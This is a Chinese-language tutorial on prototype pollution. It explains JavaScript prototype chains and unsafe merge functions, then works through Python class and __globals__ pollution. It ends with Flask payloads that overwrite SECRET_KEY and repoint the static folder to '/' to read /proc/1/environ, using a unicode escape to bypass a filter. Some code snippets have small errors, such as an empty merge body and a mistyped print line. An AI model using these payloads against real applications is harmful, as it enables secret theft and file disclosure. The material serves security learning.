Javascript 原型链

JavaScript 常被描述为一种基于原型的语言 (prototype-based language)——每个对象拥有一个原型对象,对象以其原型为模板、从原型继承方法和属性。原型对象也可能拥有原型,并从中继承方法和属性,一层一层、以此类推。这种关系常被称为原型链 (prototype chain)

当试图访问一个对象的属性时,它不仅仅在该对象上搜寻,还会搜寻该对象的原型,以及原型的原型,依次层层向上搜索,直到找到一个名字匹配的属性或到达原型链的末尾

__proto__prototype

在 JavaScript 中,每个对象都有一个名为 __proto__ 的内置属性,它指向该对象的原型。同时,每个函数也都有一个名为 prototype 的属性,它是一个对象,包含构造函数的原型对象应该具有的属性和方法。简单来说,__proto__ 属性是指向该对象的原型,而
prototype 属性是用于创建该对象的构造函数的原型

1
2
3
4
5
6
7
8
9
10
11
12
// 使用一个构造函数来创建对象
function Person(name) {
this.name = name;
}

Person.prototype.greet = function() {
console.log(`Hello, my name is ${this.name}`);
};

const person1 = new Person('Alice');
person1.greet();
// 输出 "Hello, my name is Alice"

从上面的代码可以看出,prototype 是类 Person 的一个属性,所有用类 Person 进行实例化的对象,都会拥有 prototype 的全部内容

实例化出来的 person1 对象,不能通过 prototype 访问原型的,但通过 __proto__ 就可以实现访问 Person 原型,如下:

1
2
console.log(person1.__proto__ === Person.prototype); 
// 输出 true

Javascript 原型链污染

在 JavaScript 中,每个对象都有一个原型,它是一个指向另一个对象的引用。当我们访问一个对象的属性时,如果该对象没有这个属性, JavaScript 引擎会在它的原型对象中查找这个属性。这个过程会一直持续,直到找到该属性或者到达原型链的末尾。攻击者可以利用这个特性,通过修改一个对象的原型链,来污染程序的行为。例如,攻击者可以在一个对象的原型链上设置一个恶意的属性或方法,当程序在后续的执行中访问该属性或方法时,就会执行攻击者的恶意代码

如下面代码所示:

1
2
3
4
5
6
7
8
9
var a = {number : 520}
// a.number = 520
var b = {number : 1314}
// b.number = 1314
b.__proto__.number=520
// b.number = 1314
var c= {}
c.number
// 520

上面代码中,c 对象虽然为空,但由于 Javascript 继承链的机制会使它继续递归寻找,也就是从 c.__proto__ 中寻找 number 属性,而 c.__proto__ 指向了 Object.protoype,而我们进行污染的 b.__proto__ 也是 Object.prototype,所以 c.number 的值是 520

原型链条污染的发生主要有两种场景:不安全的对象递归合并和按路径定义属性

不安全的对象递归合并

很多开发者会自定义一些递归合并函数,不安全的递归合并函数会导致原型链污染

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
const merge = (target, source) => {
for (const key of Object.keys(source)) {
if (source[key] instanceof Object) Object.assign(source[key], merge(target[key], source[key]))
}
Object.assign(target || {}, source)
return target
}
function Person(name,age,gender){
this.name=name;
this.age=age;
this.gender=gender;
}
let person=new Person("test1",22,"male");
let job=JSON.parse('{"title":"Security Engineer","country":"China","__proto__":{"x":1}}');
// job 可控
merge(person,job);
console.log(person);

上面代码中,job 对象是由用户输入的,并且用户可以输入任意对象。那么我们输入一个含有 proto 属性的对象,那合并的时候就可以把 person 的原型给修改

按路径定义属性

有些 JavaScript 库的函数支持根据指定的路径修改或定义对象的属性值。通常这些函数类似以下的形式:theFunction(object, path, value),将对象 object 的指定路径 path 上的属性值修改为 value

如果攻击者可以控制路径 path 的值,那么将路径设置为 _proto_.theValue,运行 theFunction 函数之后就有可能将 theValue 属性注入到 object 的原型中。

Python 原型链污染

Python 原型链污染既可以实现对类属性的污染,也可以做到对全局变量的属性污染

合并函数

和 JS 一样,同样需要一个数值合并函数将特定值污染到类的属性中,如下:

1
2
3
4
5
6
7
8
9
10
11
12
def merge(src, dst):
# Recursive merge function
for k, v in src.items():
if hasattr(dst, '__getitem__'):
if dst.get(k) and type(v) == dict:
merge(v, dst.get(k))
else:
dst[k] = v
elif hasattr(dst, k) and type(v) == dict:
merge(v, getattr(dst, k))
else:
setattr(dst, k, v)

污染自定义属性

python 中的类会继承父类的属性,通过 __base__ 属性查找其继承的父类进行污染

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
class father:
secret = "haha"

class son_a(father):
pass

class son_b(father):
pass

instance = son_b()
payload = {
"__class__" : {
"__base__" : {
"secret" : "no way"
}
}
}

print(son_a.secret)
#haha
print(instance.secret)
#haha
merge(payload, instance)
print(son_a.secret)
#no way
print(instance.secret)
#no way

污染内置属性

通过 __base__ 属性查找其继承的父类进行污染

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
class father:
pass

class son_a(father):
pass

class son_b(father):
pass

instance = son_b()
payload = {
"__class__" : {
"__base__" : {
"__str__" : "Polluted ~"
}
}
}

print(father.__str__)
#<slot wrapper '__str__' of 'object' objects>
merge(payload, instance)
print(father.__str__)
#Polluted ~

如果目标类与切入点类没有继承关系时,这种方法就无法使用

全局变量获取

Python 中,函数类方法均具有一个 __globals__ 属性,该属性包含了当前变量空间的全局变量的字典

对于类的内置方法来说,内置方法在未重写时,其类型为装饰器(wrapper_descriptor),只有重写后类型才变成函数(function)

1
2
3
4
5
6
7
8
9
10
11
12
13
secret_var = 114

def test():
pass

class a:
def __init__(self):
pass

print(test.__globals__ == globals() == a.__init__.__globals__)
# True
print(test.__globals__)
# {'__name__': '__main__', ... ... , 'secret_var': 114, ... , 'a': <class '__main__.a'>}

因此,可以使用 __globals__ 获取到全局变量,从而达到修改无继承关系的类属性甚至全局变量的目的

如下所示:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
secret_var = 114

def test():
pass

class a:
secret_class_var = "secret"

class b:
def __init__(self):
pass
def check(self,data):
pass

instance = b()

payload = {
"__init__" : {
"__globals__" : {
"secret_var" : 514,
"a" : {
"secret_class_var" : "Pooooluted ~"
}
}
}
}

# 改变 __file__ 属性
payload_file = {
"__class__" :{
"check" : {
"__globals__" : {
"__file__" : "/etc/passwd"
}
}
}
}

print(a.secret_class_var)
#secret
print(secret_var)
#114
merge(payload, instance)
print(a.secret_class_var)
#Pooooluted ~
print(secret_var)
#514

merge(payload_file, instance)
print(__file)
#/etc/passwd

获取简单加载模块

如果操作的位置在入口文件,那么也可以对加载过模块中的变量或类属性进行污染

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
#test.py

import test_1

class cls:
def __init__(self):
pass

instance = cls()

payload = {
"__init__" : {
"__globals__" : {
"test_1" : {
"secret_var" : 514,
"target_class" : {
"secret_class_var" : "Poluuuuuuted ~"
}
}
}
}
}

print(test_1.secret_var)
#secret
print(test_1.target_class.secret_class_var)
#114
merge(payload, instance)
print(test_1.secret_var)
#514
print(test_1.target_class.secret_class_var)
#Poluuuuuuted ~

获取复杂加载模块

此外可以利用 sys 模块来进行操作

sys 模块的 modules 属性以字典形式包含了程序自运行时所有以加载过的模块,可以直接从该属性中获取目标模块

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
#test.py
import test_1
import sys

class cls:
def __init__(self):
pass

instance = cls()

payload = {
"__init__" : {
"__globals__" : {
"sys" : {
"modules" : {
"test_1" : {
"secret_var" : 514,
"target_class" : {
"secret_class_var" : "Poluuuuuuted ~"
}
}
}
}
}
}
}

print(test_1.secret_var)
#secret
print(test_1.target_class.secret_class_var)
#114
merge(payload, instance)
print(test_1.secret_var)
#514
print(test_1.target_class.secret_class_var)
#Poluuuuuuted ~

flask 相关属性污染

secret_key

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
#app.py

from flask import Flask,request
import json

app = Flask(__name__)

def merge(src, dst):

class cls():
def __init__(self):
pass

instance = cls()

@app.route('/',methods=['POST', 'GET'])
def index():
if request.data:
merge(json.loads(request.data), instance)
return "[+]Config:%s"%(app.config['SECRET_KEY'])


app.run(host="0.0.0.0")

通过如下 payload 进行污染:

1
2
3
4
5
6
7
8
9
10
11
{
"__init__" : {
"__globals__" : {
"app" : {
"config" : {
"SECRET_KEY" :"Polluted~"
}
}
}
}
}

_static_url_path

_static_url_path 这个属性中存放的是 flask 中静态目录的值,默认该值为 static。访问 flask 下的资源可以采用如 http://domain/static/xxx ,这样实际上就相当于访问 _static_url_path 目录下 xxx 的文件并将该文件内容作为响应内容返回

可以污染该属性改变静态目录的路径,从而访问其它目录下的文件,payload 如下:

1
2
3
4
5
6
7
8
9
10
11
{
"__init\u005f_": {
"__globals__": {
"app": {
"_static_folder": "/"
}
}
}
}

# 使用 unicode 编码绕过 __init__

然后直接访问静态目录即可,如访问环境变量 http://127.0.0.1/static/proc/1/environ

参考

  1. 继承与原型链
  2. 浅析 CTF 中的 Node.js 原型链污染
  3. JavaScript原型链污染原理及相关CVE漏洞剖析
  4. python 原型链污染变体